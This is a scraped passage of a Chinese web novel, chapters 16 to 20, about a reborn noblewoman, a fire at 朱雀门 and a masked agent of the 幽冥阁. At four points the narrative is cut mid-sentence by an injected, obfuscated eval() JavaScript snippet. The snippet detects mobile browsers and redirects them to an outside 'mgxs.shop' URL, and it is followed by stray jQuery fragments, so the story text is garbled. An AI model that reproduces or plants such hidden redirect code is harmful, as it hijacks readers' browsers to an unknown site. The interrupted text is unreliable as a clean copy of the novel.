场面再度冷下来。僵持中,萧琢时轻笑一声:“容二姑娘想知道,那也罢。太子遇刺,我们奉命捉拿刺客。” “什么?”魏夕度脸色一白。 比他反应更大的是容锦簇,不自觉上前一步,语调急切:“太子殿下遇刺了?” 萧琢时早猜到她是这个反应。如今真见到了,藏在面具下的脸色却沉得像冰,半晌,唇角格外艰难地扯出个冷笑,轻哼一声,将兜帽重新一掀,戴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484501|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了回去:“长水。” 银面石榴花小跑两步上前,态度殷勤:“小的在呢。” “进去,搜。” 魏夕度脸色算不上好看,抬手拦住石榴花去路:“我与容二姑娘在此密谈,不曾见过刺客,诸位还请移步别处。” 萧琢时不答反问:“密谈?我倒不知,魏三公子要跟容二姑娘密谈什么?” “事以密成,语以泄败。既然说是密谈,若旁人轻易得知,如何能算密谈?” 萧琢时神色更加危险:“京城连日不太平,这种关头,魏三公子却要约人密谈成事?” 一连串密谈砸得容锦簇发晕,忙道:“好了好了,不要吵了!” 两道目光同时汇集在她身上,一道讥诮,一道疑问。 容锦簇顶着压力,心里又给银面桃花记了一笔。 她咬牙切齿地勉强笑了一下:“这些都不重要,追查太子殿下遇刺一事才是正经事。你有跟魏三公子吵架的工夫,多搜几间厢房不好么?” 话音未落,另一个戴银色面具的少年按着佩剑一路小跑过来,单膝跪地:“禀桃花大人,醉仙楼搜查完毕,没有刺客来过的痕迹。” 容锦簇沉默。 那少年抬起眼瞧见她面上的尴尬之色,立刻补充:“只剩石榴花负责的天字号厢房这一间没搜了。” “……” “很好,带人先去对面吧。”萧琢时往身后的围栏上靠了靠,手肘枕着横木,似乎在等容锦簇继续说下去。 容锦簇自觉没什么可心虚的,也微微昂起玉似的一张脸,睥睨着他。 但一击未中,此刻总觉得说什么都底气不足,软绵绵落了下风。 萧琢时依旧要笑不笑地勾着唇角,姿态闲适,一副偏要跟她过不去的模样。 容锦簇一时深恨自己没捏住他的把柄——等等,把柄? 灵光一闪,她突然从记忆深处搜刮出一件事来:“那个。” “你托我救人的酬金,三千两银子,还没给我呢。” “……” 萧琢时亦是一愣,霎那间攻守易势,容锦簇重占上风。 他心虚地干咳一声,直起身:“我执行公务,怎么会带这么多银子出来?万国会结束那晚再付给你。” 显然是忘了还有此事。 容锦簇急中生智,才不会放过这个机会:“那我和魏三公子?” 半晌,萧琢时抿紧的薄唇缓缓吐出两个字:“叙旧。” 容锦簇很满意这个回答,弯了弯眼睛,神色像得逞的小狐狸:“我对太子殿下的关心呢?” 萧琢时冷冷一哂:“对当朝储君身心康健的美好祝愿,臣子本分而已。” “很好。”少女学着他方才的语气表示赞赏,举起手,清脆地击了击掌,“你们可以去对面了。” 萧琢时转身就走。 身后传来她明快的声音:“别忘了万国会最后一夜把酬金交给我啊!” 提到最后一夜,容锦簇眼前忽然浮现出一场将天空染成血红的大火。 她打了个激灵,抬眸望去,银面桃花的步子也停住了。 17. 第 17 章 万国会最后一夜可以不必宵禁。通宵达旦,举城欢庆,彻夜长明。 这一夜会燃放好几个时辰的烟花,民间有时也称千花夜。 然而永熙二十一年万国会的最后一夜,从朱雀门无缘无故起了一场大火。 这场火来势汹汹,不仅烧垮了朱雀门及一带的屋舍,还一路烧进了宫里,毁掉了宫城角落的两座宫殿。 其中一座正是太承帝第一任皇后、萧逐夜生母虞皇后年轻时的旧居。 太承帝本就抱恙,听到这个消息更是承受不住,身体每况愈下,没熬过两个月就撒手人寰。 眼下,容锦簇和银面桃花显然想到了一处。他转过身,定定看了她一眼。 容锦簇同样攥住手指,还是坚持道:“千花夜见。” — “阿折,这是你大伯母方才捎来的宝相罗和浮光锦,这是今早从馆驿送来的鲜荔枝,这儿还有城西点心铺刚出炉的栗子酥,你摸摸,还热呢。” 雪寒院堂前,容夫人端着温温柔柔的笑意,一件一件清点着带来的东西,却被容锦簇同样笑着推了回去:“阿娘。” “我很早就不吃栗子酥了。” 容夫人闻言微怔:“可是……” “喜欢栗子酥的是容锦虞,不是我。我喜欢桂花糕。” 容夫人只流露出那片刻的诧异,随即又恢复如常,微微笑着:“你这孩子,改了口味也不跟我说。” 容锦簇静静望着她,知道自己的口味从来没换过。 容夫人笑语盈盈,本是前世她最渴望的场面。盼了两世,真等到容夫人的关怀时,她却早已不需要了。 前世,容夫人和容锦虞觉得她好惹,根本无意试探,就开始自作主张搅和安国公府的婚事。这一世因为容锦簇的变化,容夫人才会出于警惕对她如此上心。 容锦簇抬起头,神色分外冷静:“阿娘找我,是为了魏夕度吧。” 容夫人一慌:“你知道了?” 她原以为安国公府前来说亲的消息不会传到容锦簇耳朵里! 没想到容锦簇也做好了准备,容夫人原本的措辞一时没了用处,急忙否认:“哪里是因为魏三公子,只是过来看看你而已。阿折,你就是太敏感,别这样多心。” 怨她多心吗?可是前世她不多心时,容夫人又是怎么对待她的。 容锦簇算了算日子,离她拒绝魏夕度的提亲又过去了整整七日。安国公府没再登门求娶,容夫人也做足了准备。 她垂下眼,没有失落也没有不舍,神情无波无澜。 魏夕度是谦谦君子,温润自持,端方有礼。她若是对他有感觉早应心动,何必等到如今。 容夫人见她垂眸不答,心里不安,弯了弯眼角,笑得牵强至极:“阿折,从前只知魏三公子对你有愧,你也没说过跟三公子的感情何时变得这样好。” “女儿跟魏三公子没什么感情。”容锦簇顿了顿,“若真有,以三妹和六妹的敏锐,早将我锁进容家祠堂了。” 容夫人的笑有些绷不住了,厌恶地皱起眉:“阿折,别这样说阿宁。你多大了,还这样不懂事,那可是你亲妹妹。” “宝灯,送客。”容锦簇无意跟容夫人辩解,也不废话,从银面桃花那儿学了一套干脆利落的本事。 “你看你!我不说了还不行么。”容夫人鼻尖沁出细汗,赶紧拿帕子擦了擦,放软了语气,“阿折,娘亲不是那个意思。” “娘亲就是想问问你,到底愿不愿意嫁他?” 在她焦灼的等待中,容锦簇弯了弯眉眼,终于笑了。 “我愿意。” 容夫人的眸光瞬间黯淡下来,难掩失望。 若是不愿意该有多好。这样,就有正当理由教容锦簇将婚事让给阿宁了。 虽然被容锦簇打乱了阵脚,但容夫人提前做了一番安排,不肯白费:“阿折,你才说过跟魏三公子无甚感情,真嫁过去,你俩脾性不合,免不了受气,是不是?安国公府高门大户,腌臜事一天一夜也说不完,娘亲是担心你,性子柔弱,斗不过他们。你三妹妹就不会,所以——” “所以要我将婚事让给容锦虞?”容锦簇眉眼间尽是自嘲,轻轻嗤了一声,“三妹妹,兜兜转转还是三妹妹。阿娘,我真不知自己在期待什么。” 听见这话,容夫人心里不知为何也沉了沉,格外不舒服。 她将这阵不舒服理解为容锦簇的无礼冲撞,于是素手一拍桌,冷冷训道:“容锦簇!我是为了你好!你不适合嫁入国公府!那魏三公子若是执意求娶容家女,就让阿宁替你嫁了,你不必去国公府忍气吞声。” 有那么一瞬间,容锦簇真想放弃。想告诉容夫人,她不想嫁魏夕度啊,她愿意进宫。 旋即,她眼前闪过前世的一幕幕,终于狠下心,抱着气死人不偿命的念头,轻轻笑了笑:“晚了,阿娘,一切都晚了。” 容夫人似乎也预感到什么,僵硬地转过脸,双眼直勾勾瞪着她。 容锦簇坦然一笑:“我那日已经告知魏三公子,我对他无意,不准他上门提亲。” 话音落地,石破天惊。 容夫人一张脸变得惨白,随即慢慢涨得通红,眼里写满不可置信。怒容一丝一丝爬上两颊,撕破了她温柔可亲的面具。 “容、锦、簇!你、敢!” 院里飞鸟惊起,扑扇着翅膀逃窜向远方。 容锦簇安静地坐在原地,不声不响,等待容夫人发疯。 容夫人愤怒得出奇。 按照她原本的计划,先旁敲侧击提起魏夕度,然后直接拿出安国公府提亲的消息。 容锦簇必定害怕又感激,一时之间六神无主,这样她再循循善诱,安慰女儿,慢慢将婚事让给容锦虞。 就算容锦簇性子变了,千劝万劝也执意要嫁,好歹她是容府的姑娘,无论如何,跟国公府的婚事肯定还是落到容家头上。 容夫人没想到容锦簇会提前截断她想好的所有路! 她一时又急又气,一挥袖,将带来的点心果盘骤然拂落在地。 情绪万分激动之下,她声嘶力竭,口不择言:“滚!容锦簇!你现在就给我滚出容家!” 容锦簇只是平静地望过来。 她心脏跳得太快了,有那么一丝难受,如今也无法体面地站起身——因为她浑身卸力。 面对暴怒的阿娘,她一时说不出是失望多还是痛苦多,也许害怕更多。 她不是在容夫人身边养大的,六岁之前容锦簇一直跟着师父师兄住在鬼王谷,直到六岁才回京城。 因此容夫人对她没有那么深厚的感情,她也明白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484502|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但纵使付出了十年真心,仍然什么都换不回吗。 容锦簇扶着桌角慢慢站起身,头也不回地向院外走去。 宝灯追上来,叫了一声:“二姑娘!” “我没事。”容锦簇咬紧牙关,发觉自己发不出声音,半晌,艰难撑着自己开口,“宝灯,我不想阿娘那么生气而已,晚上还会回来。” 宝灯含泪应下,容锦簇不再回头,径直走出了雪寒院,从偏门离开容府。 天地之大,离开容府,她能去哪呢? 找师父师兄,不太可能,鬼王谷远在京外,一时也赶不过去。找魏夕度,更不可能,安国公府规矩森严,对他也多有束缚,更何况她不想再给魏夕度带去错觉。 好像只有一个人可以收留她。 但一想到这个人,容锦簇又迟疑了。 银面桃花。 她不想找他,跟他接触越多,两个人只会越痛苦。 她以后还要进宫,两不相欠对谁都好。 思来想去,容锦簇去了熙春楼。 时近黄昏,这个时辰本就茶客渐散,今日不知为何,熙春楼更是空空荡荡,一个人也没有。 独自坐在之前的位子上,容锦簇单手托腮,在旁人看来,颇有些孤零零的。 小伙计好不容易等到了一个客人,又见她衣着不凡,看上去是个富贵出身的小姐,态度格外殷勤,赶着凑上前:“姑娘,要不要尝尝熙春楼新上的点心?有桂花糕、牛乳糕、糖蒸酥酪……” “不用了,我不饿。”容锦簇抿了抿嘴,总不能说自己出门太急没带钱吧。 没做成生意,小伙计撇了撇嘴,“嘁”了一声,直起身打算走:“小气。” “喂,你说谁小气呢!”容锦簇还没反应,一道骄纵的声音从他身后传来,怒气冲冲,“你们上头管事的在哪?给我叫来,就说抚远侯府三姑娘有事找他!” 小伙计唬了一跳,听见抚远侯府这个名号,更是吓破了胆,面如土色,连声道歉:“对不住姑娘,对不住,我不该背后说姑娘。” “算了。”容锦簇对那小伙计拂了拂手,示意他离开,这才朝抚远侯府三姑娘一笑,“好啦,我没事。” 所谓抚远侯府三姑娘,正是万嫣然:“恩人,我老远就看到了你,本来想悄悄过来吓你一下,谁知道那小伙计怎么那么势利眼。” 容锦簇撑着腮,心不在焉道:“我早习惯了。” “恩人,你受委屈了吗?”万嫣然虽然失忆,却并不傻,一眼看出容锦簇不高兴,“肯定是那个可恶的银面郎君欺负你了!” “没有。”容锦簇怏怏摇头,“要真是他,事情还简单了。” 万嫣然猜不出来,索性放弃,话题一转,兴高采烈道:“恩人,咱们晚上就在熙春楼看烟花吧!” “什么烟花?” “今日是千花夜啊。”万嫣然奇怪,“你没听说吗?因为太子殿下遇刺,万国会提前结束,烟花定在了今夜。” 说着,她指了指身边:“恩人,你没发现今日熙春楼根本没人吗?大家都去朱雀门等着看烟花了!走走走,我们也去!” 容锦簇脑子“轰”的一声,有些懵了,坐在原地,一动不动。 千花夜提前了? 那大火是不是可以避免了? 18. 第 18 章 重生回来,所有事都在偏离容锦簇的预期。 她一直觉得无所谓,左右不过兵来将挡水来土掩,有什么事对付什么事就好了。 唯独这场大火不一样。 前世,这场大火造成的伤亡算得上惨重,又是在宫城门口,百官惊惶,还加速了太承帝的驾崩。 之后萧逐夜登基,费了好一番心思才完成了安抚灾民、发罪己诏、重修宫殿等善后工作。 她希望阻止这场大火到来,帮萧逐夜减轻些负担。 但如今,万国会的千花夜提前了。 她根本没做好准备,也不知道今夜会不会燃起那场大火,若真起火了,又该怎么办。 容锦簇越想,脸色越苍白,连万嫣然也看出了不对劲,急得眉头紧蹙,团团乱转:“恩人,恩人!你怎么了,看起来好像要晕倒了,我去找郎中!” “不用。”容锦簇忙按住她的手,“眼下当务之急,我们得去朱雀门!” 同一时间,朱雀街尽头。 一匹骏马疾驰而至,却在即将进入朱雀街时因为一声呼哨骤然放缓了步子,喘着粗气乖乖停住。 萧琢时翻身下马,风尘仆仆,整个人透露着不安与焦躁的气息,解下披风交给等候多时的石榴花:“长水,朱雀门附近的守卫都安排好了?” 银面石榴花在幽冥阁里是银面桃花的属下,回到二皇子府就是跟二皇子萧琢时从小一起长大的随身侍卫长水。 “殿下,您放心。”长水盼了好几天,终于盼到主子出差回来,不知道有多高兴,咧着嘴抱起披风,牵马跟上,“但凡有可疑人物出现,别说银面郎君,咱们府上侍卫也会第一时间逮人的!” 萧琢时顿了顿,不知为何,莫名问出了他自己都未曾考虑过的问题:“容二姑娘在哪?” “容二姑娘应该在容府吧。”长水挠挠头,“小的派人盯了她好几天,容二姑娘一直待在容府没出来过……” 事关重大,萧琢时不复平日的闲散,沉声吩咐:“还是找人再确认一遍。” “是。” “离他们开始放烟花还有多久?” “回殿下,还有半个时辰。天一黑,烟花就开始了。” 萧琢时“嗯”一声,疲惫地按了按太阳穴:“务必守住朱雀门。” 借皇兄遇刺的借口,他向父皇请命提前了这场烟花的到来,无论大火是否还会到来,都趁早了结这桩心事。 太子不在,许多事都需要他去接手。这几日,萧琢时不是在忙公务,就是在去忙公务的路上。 半个时辰一晃而逝,眼看天色越来越沉没入无边漆黑,萧琢时的神经也紧绷到了极致。 突然,“嘭”的一声,第一朵烟花冲上了夜空! 与此同时,容锦簇同样仰起脖颈,心惊胆战地看着那朵灿烂的烟花炸开万千流星,繁华璀璨,绚丽耀眼。 共同注视着烟花的还有数不尽的游人。跟容锦簇心情不同,他们欢呼雀跃,眼眸被烟花点得透亮。 万嫣然忽闪着一双亮晶晶的眸子,一手抓着容锦簇的袖子,满脸欣喜。 突然,她放开手,转身往人群里钻去:“恩人,你在这等我,我去前面看看!” 容锦簇来不及阻拦,心头重重一跳,追过去:“万嫣然!站住!” 一朵又一朵烟花飞快地蹿上云霄,在人声鼎沸中砰然炸响。五颜六色的华丽流光下,地面上冒出的一点鲜红也全然无人在意。 人影憧憧间,容锦簇蓦然停下脚步。 眼底映出那抹跳跃的鲜红。 她只觉喉咙像被什么掐住了,紧得她呼吸困难。视线被火焰灼得发烫,眼底微微刺痛,涌出晶莹的水雾。 她张了张嘴,没能发出声音。 来不及了。 容锦簇将颤抖的指尖举起来,发狠一咬。鲜红的血珠立刻挤了出来,像极了不远处愈发猖狂的烈焰。 指尖剧痛,痛感冲破了那层阻滞,她用尽浑身力气,终于嘶喊出一声:“走水了——!” 人群躁动不安起来,早有准备的府卫发现不对,立刻泼水救火。 可惜还是晚了一步。 那火焰已经噌的一声燃起来,越发气焰嚣张。一霎那,焰尖攀上了朱雀门两侧的木制方柱。 整个朱雀门“轰”的一声陷入火海! 人群慌张,争先恐后往外挤,孩童哭声与寻人喊声此起彼伏。幽冥阁安插在朱雀街的属下此时以银色面具现身,协助游人离开。 容锦簇捂着怦怦乱跳的心口,慢慢循着人少的地方往外退去。 万幸今夜提前部署,朱雀门内不许游人进入,纵然火势浩荡,也只是场面骇人可怖,离他们还算远。 突然,容锦簇似有所感,抬起头,望向朱雀门的方向。 只一眼,她浑身血液凝固。 万嫣然扯着一个锦衣华服的孩子,不知为何冲出了防守的界限,手足无措地困在朱雀门前。 他们身后是烈焰冲天的朱雀门,面前是砸下来的一道烧了一半的牌匾,此刻还在无休无止地蹿起比那孩子还高的火苗。 而此刻,奔走的守卫在泼水救火,幽冥阁下属在维护人群秩序,竟没人分神去救他们。 万嫣然左看看,右看看,满脸焦灼。 砰的一声,突然又有半截燃烧的横木从天而降,砸在他们身后,火舌艳艳。万嫣然吓得瑟瑟发抖,蹲下来跟那孩子抱作一团。 容锦簇站在原地,内心天人交战,两种念头缠绕着她,吵个不停。 “快去救她啊!她马上要被烧死了!” “前世她让我吃了那么多苦,烧死岂不正好?” “我不能放着一条活生生的人命不管!” “她死了,我入宫以后会少很多麻烦!” 容锦簇转动了一下眼眸,目光落在锦衣孩子的脸上。 下一刻,还没思考,她的身体已经毫不犹豫冲了出去。 身后传来银面郎君惊恐万状的喊声:“容二姑娘!容二姑娘!” 熙春楼二层。 萧琢时面具未摘,两腿交叠,慢慢端起一盏茶。姿态放松,神色却格外冷峻。 远远一柱火光冲天,染红了上方小半天空,灼得他眼底发疼。 萧琢时皱眉,偏过头:“长水。” “在。” “朱雀门附近什么情况?” 少年跳起身,下楼向值守的银面郎君问了几句,飞奔回来:“殿下,那边已经在全力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484503|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑灭火势了,人群疏散也没出什么问题。” 萧琢时颔首不语,眉头始终没松开过。 “殿下,您这么担心,怎么不亲自去朱雀门前看看呢?”长水挠头。 萧琢时嗤了一声。 “我今日现身,明日就能被人拿来大做文章,说不准到最后,这火就变成我派人放的了。” 长水“哦”了一声,冷不防被人一把拨开,踉跄两步趴到墙上,满脸怨念。 拨开他的人正是负责监视容家的银面郎君,气喘吁吁从门口挤进来,惶恐道:“殿下,大事不好了!” “容二姑娘与容家夫人吵架,被赶出容家了!” 话没说完,他也被人拨开,另一个银面郎君飞奔进来:“殿下,大事不好了!” “容二姑娘被抚远侯府三姑娘带去看烟花了!” 声音未落,一支飞羽箭“叮”的一声钉在窗框上,萧琢时出手摘下箭尾纸条,赫然写着: “殿下,大事不好了!” “容二姑娘去朱雀门救人了!” 萧琢时呼吸一窒,抓起桌上面具,众人只觉风声一卷,室内已经空空荡荡,不见了他身影。 在人群中逆流而上,本就费力。容锦簇飞快地向前跑,左闪右躲,仍然用了不少时间才折返回朱雀门界。她抿了抿嘴,心里怕的要命,强忍着没表现出任何恐惧,向万嫣然伸出一只手:“过来!” 她是要当反派的。 没了万嫣然,她斗谁去呢? 万嫣然抖得像只筛子,连连摇头,哭腔带着颤音:“恩人,我害怕。” “你们能出来,左边有路!”容锦簇又往前走了两步,被迫拿出当年做傀儡太后时的架势,“不想被烧死就快点!” 似乎被震慑住,万嫣然心里安定了几分,颤颤巍巍护着那孩子抬起脚向前。 面前仍然是亮得惊人的火光与滚滚黑烟,两人小心翼翼绕开燃烧的残木,终于到了交界处,万嫣然满眼希冀,伸出手想抓住容锦簇—— 两点飞溅的火星落到她裙摆上,噼里啪啦燃起了火苗。万嫣然瞬间大叫起来:“救命!救命!” 下一刻,锦衣小孩绷紧了脸颊,一脚踩上去,火苗啪嗒一下熄灭了。 来不及多说,容锦簇一手抓住她手腕,一手拎起小孩:“快走!” 回到远离明火的空地,身后仍然能感受到滚滚热浪,却终于没了生命危险。 万嫣然劫后余生,瞬间眼里含泪扑到容锦簇怀里:“恩人,恩人!” 下一刻,她感觉自己被一道狂风掀飞,生生往后退了好几步。 容锦簇疑惑地转过身,却落入一个坚实炙烫的怀抱。 他显然是一路穿过漫漫朱雀街狂奔而来,呼吸和心跳都快得惊人,一把将她揽入怀中,力道大得像要将她揉进骨血里去。 容锦簇被玄铁似的双臂箍得隐隐发疼,贴在他心口处,知道他没穿盔甲,肌肤的温度顺着薄薄的料子透出来,他身上残存熟悉的桃花熏香,更多的混杂着尘烟气息,将她踏实笼住。 容锦簇惊觉他来得急,连披风也没穿。 那么面具呢? 抱着好奇的心思,她将埋在他怀里的脸悄悄抬起来,望向他的真容。 19. 第 19 章 可惜他抱得太紧,从容锦簇的角度,只能看见流畅的下颌。 还是万嫣然怒气冲冲砸了银面桃花的手臂三下,才将两人分开:“喂,谁允许你抱我恩人了,她对你又没有救命之恩!” 银面桃花回神,怔怔松开颤抖的手臂,哑声向容锦簇解释:“抱歉,我太担心了,失了分寸。” “这是一句抱歉就能解决的事吗?”万嫣然对他怒目而视,“你将我恩人的清誉置于何地?你又不是她夫君!” 银面具在火光映照下折射出夺目的亮色,他还是戴着那副面具,没有露真容。 容锦簇有些失望地敛下目光,轻轻对万嫣然摇了摇头:“算了,我没事。” 她知道银面桃花为什么会这么害怕,因为前世被困住的人是她。前世火势比今日要大得多,银面桃花冲进火海救了她一命。 他们都怕重蹈覆辙,都要小心翼翼,如履薄冰。哪怕重生,也不得不面对无尽的变数。在这个世界上,他是她唯一的同伴。 那么,为什么不能对她坦诚那么一点儿呢?两世了,她依旧不知道银面桃花的名字,不清楚他的身世,没见过他的脸。 这时,她发觉银面桃花低下了头。顺着他的目光望去,是那个锦衣小孩。 容锦簇瞧见那小孩被火熏得乌黑又沾满了烟灰的小脸,拿帕子轻轻替他擦了擦。 擦着擦着,她又想起在破庙里救万嫣然时,就是这般擦了半晌,擦出一个万贵妃。 想到这,容锦簇忍不住弯了弯嘴角。 下一刻,她又笑不出来了—— 熟悉的一张小脸。 眼睛像小猫一般圆溜溜的,脸儿圆圆,下巴却很尖,抿着嘴一声不吭,任凭她摆弄。 容锦簇心尖微颤:“慎儿?” 九皇子萧慎,宫女所生。自幼体弱多病,十二岁那年溺毙于太液池。同一年,萧逐夜驾崩,容锦簇做了太后。 如果慎儿不死,哪里能轮到年仅五岁的萧逢继位。 “九殿下。”银面桃花跟着开口,声音很无奈,“怎么又偷溜出来玩?” 萧慎抿了抿嘴,小猫似的细声细气回话:“三哥给我传信,让我到朱雀门买糖葫芦。” 银面桃花和容锦簇的脸色同时变了。 三哥就是朔王。 他还在凯旋回京的路上,居然给萧慎传了信,骗萧慎到朱雀门等死。 两人心事凝重,只有万嫣然听到这,东张西望起来:“朱雀门这儿也没有卖糖葫芦的啊?等等,你你你是九殿下?” 萧慎“嗯”了一声,万嫣然立刻闭上嘴,沉浸在“我居然救了当朝皇子”的骄傲喜悦中。 萧慎想了想:“二、二,不是,我,你们都是谁啊?” 小小的九皇子殿下非常有自己的考量。 二哥跟他说过,只有不戴面具的时候才是二哥,戴上面具就是幽冥阁的银面桃花。 但是二哥刚刚抱了那个漂亮姐姐,难道漂亮姐姐是他的二嫂嫂?那二嫂嫂认为戴了面具的二哥是银面桃花还是二哥本人呢? 萧慎快要被自己绕晕了,干脆装作谁也不认识。 另一个话很多的漂亮姐姐喜滋滋地来拉他的手,被他巧妙躲开了也不生气:“哎呀,原来您是九殿下!我呢叫万嫣然,这个救了咱们的大恩人叫容锦簇。这里还有别人吗?没有了。” 萧慎歪头:“那个哥哥呢?” 万嫣然强行将萧琢时当作一团空气的计划失败,泄气地回答:“那个是幽冥阁的人,咱们不跟他玩。” “臣幽冥阁部下银面桃花。”萧琢时道,“时候不早了,臣送九殿下回宫。” 对此,容锦簇不觉得奇怪。她也是入宫后才知道,幽冥阁虽然表面上是江湖组织,其实跟宫廷有千丝万缕的联系。 她依依不舍看向萧慎,银面桃花已经俯身,将七岁的小皇子一把抱起来。透过银面桃花的肩头,萧慎睁大了眼睛看着容锦簇。 容锦簇忙对他笑了笑:“还会再见的。” 萧慎苍白的小花脸也浮现出纯真的笑意,用力点了点头。 在银面桃花肩上颠簸了一阵,他这才敢小声唤:“二哥。” “嗯?”萧琢时应了,那就是在这里可以这么唤。 萧慎看向来路,已经看不到容锦簇的身影了,他垂下眼帘:“你要当心那个姐姐。” “哪个?” “二嫂嫂。” 萧琢时轻轻笑了一声,听起来很愉悦:“为什么?” “她人很好。”萧慎冷静地将目光投向夜空,那里已经没了火光映照出的鲜红色,只留下漆黑的残影,“但是她有秘密,不可信。” “人小鬼大。”萧琢时懒洋洋应了一声,“我也不是没秘密,你怎么不说我不可信?” “那不一样。我能够听出你说的哪些是真话哪些是假话,但是你已经被那个姐姐迷住,丧失所有判断力了。”九皇子殿下冷酷地回答。 “……” 因为这场大火,万嫣然吓得大病一场。 直到一周后,她终于恢复了生龙活虎,还主动下请帖,邀容锦簇去熙春楼听戏。 容锦簇左右闲着没事,很快答应了。 她这几日借着裁新衣的由头出了几趟门,打听了火情的结果。 好在因为提前防范,救火的准备做得很足。除去几个救火的守卫受轻伤,烧毁了一座朱雀门和附近两三间屋舍,竟没有别的伤亡和损失。 前世毁掉的两座宫殿都保住了,朱雀街两侧那么多屋舍也都平安无事。 容锦簇松了口气,默默捂住自己的小金库。 她本来打算把容夫人偿还她的九百两银子和萧琢时答应给她的三千两银子都送出去赈灾,如今也不需要了。 再次坐到熙春楼戏台下时,她只觉得恍若隔世。 居然真的改变了前世那场大火的结局吗? 火灾没有引起太大损失,京城也就没有流民,比起前世,现在的京城显得格外风平浪静,甚至还有许多人坐在熙春楼里听戏。 看了一圈,容锦簇最后将目光投向傻乐的万嫣然:“你的记忆恢复了吗?” “还没呢。”万嫣然没心没肺一挥手,“反正我家里也没人在乎这事儿,我觉得也不重要。我家里人还说了,等太子殿下养伤回来,就送我进太子府做侧妃。” 容锦簇哑然失笑:“这么草率,你喜欢太子殿下吗?” “那当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484504|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然喜欢了!”提起他,万嫣然眼睛里像点缀了星星,亮晶晶的,“我家里人说了,太子殿下是全天下最英武的男子,哪里都好!” “那也只是你家里人说的,你总归要自己见一见,才知道谁好。” “是吗?”万嫣然眨巴两下眼睛,立刻肯定地点点头,“恩人说得都有道理。” “那你觉得,你见过的男子里有没有比较好的?你比较中意的?”容锦簇托着腮看万嫣然,实在好奇。 毕竟前世,万嫣然比萧逐夜的属下还忠心,萧逐夜高兴她就高兴,萧逐夜生气她就生气。除了迫害容锦簇这件事上她不听萧逐夜的话,别的任何事都唯萧逐夜马首是瞻。 万嫣然的心思全摆在脸上:“没有呀。好的没见过,中意的也没见过,坏的倒是见了。” “坏的?” “是呀。”万嫣然气呼呼道,“最坏的就是那个银面什么……什么花!” “桃花。”身后有人善意地提醒。 “对对对,银面桃花——”万嫣然说到一半,回头一看,立刻乖巧地噤若寒蝉。 那人笑了笑,折扇一端轻轻敲了敲容锦簇的肩:“容二姑娘,方不方便谈谈?” “我?不太,不太方便。”容锦簇吞吞吐吐摆手拒绝,即使过去了一周,她也没想好怎么面对这个人。 “她肯定不方便啊,她还要陪我听戏呢!”万嫣然赶紧挽起容锦簇的手帮腔。 银面桃花一哂,稍稍侧过身:“这位姑娘多虑了,自然有人陪你听戏。” 他身后,一个雍容端庄的漂亮女子袅袅婷婷走了出来。 她生得格外貌美,气质温婉娴静,眉眼间化不开的哀愁阴郁,像江南一场朦胧细雨。 一身雪白衫裙绣着艳色梅花,柔柔的披帛垂落在宽大裙摆上,一步一曳。乌发如云,髻边斜插了一支流苏银步摇,打扮素净,妆容清丽,更显好颜色。 落在万嫣然眼里,这自然是银面桃花变心了,她不可置信,露出一个仿佛被雷劈中的表情。 容锦簇却如坠冰窟。 别人不认识,她会不认识吗?这正是她进宫以后,跟万贵妃联手打压了她四年的皇后娘娘,白凝初! “臣女参见太子妃。” 容锦簇刚要起身,白凝初微凉的手已经搭在了她肩上,微微笑着:“免了,免了,今日本宫不是太子妃,拜托幽冥阁副阁主带本宫出来转转而已。” 一时心思各异,最终白凝初和万嫣然坐在原本这桌,容锦簇跟着银面桃花远了几步,坐到另一边。 “你都做到副阁主了?”她有些诧异。 银面桃花轻哼一声,默认了:“很意外?” 细想还真没什么意外的,在醉仙楼时,那些人都听他指令。 容锦簇想明白后,迫不及待问起另一件事:“太子殿下如今怎么样了?” 考虑到附近还有别人,她刻意压低了声音。 银面桃花听见了,眼底却有笑意,故意问:“什么?” 容锦簇恼他:“你过来点儿。” 银面桃花配合地靠过来,离她更近了,浅淡的桃花香似有若无。 “我说,太子殿下病好了吗?”容锦簇小声问。 20. 第 20 章 “我哪知道,他又不跟我说。”银面桃花散漫道。 